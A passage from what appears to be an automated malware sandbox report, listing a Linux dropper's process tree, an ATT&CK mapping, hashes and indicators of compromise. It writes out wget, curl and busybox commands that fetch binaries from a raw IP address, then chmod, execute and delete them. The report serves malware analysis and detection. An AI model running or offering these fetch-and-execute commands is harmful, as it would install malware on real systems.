  chmod 777 ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - File and Directory Permissions Modification
  PID:1661
- /tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  ./ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Executes dropped EXE
  PID:1662
- /bin/rm
  rm ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:1663
- /usr/bin/wget
  wget http://216.126.231.240/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:1664
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Writes file to tmp directory
  PID:1665
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:1666
- /bin/chmod
  chmod 777 gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - File and Directory Permissions Modification
  PID:1667
- /tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  ./gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Executes dropped EXE
  PID:1668
- /bin/rm
  rm gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:1669

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf

Path /tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	1505	yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	1512	43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	1518	z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	1524	7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	1530	MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	1536	wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	1542	yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	1548	gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	1554	RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	1560	5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	1566	ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	1572	hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	1578	kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	1584	fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	1590	kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	1596	fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	1602	hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	1608	43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	1614	z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	1620	7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	1626	yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	1632	wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	1638	yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	1644	MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	1650	RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	1656	5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	1662	ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	1668	gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj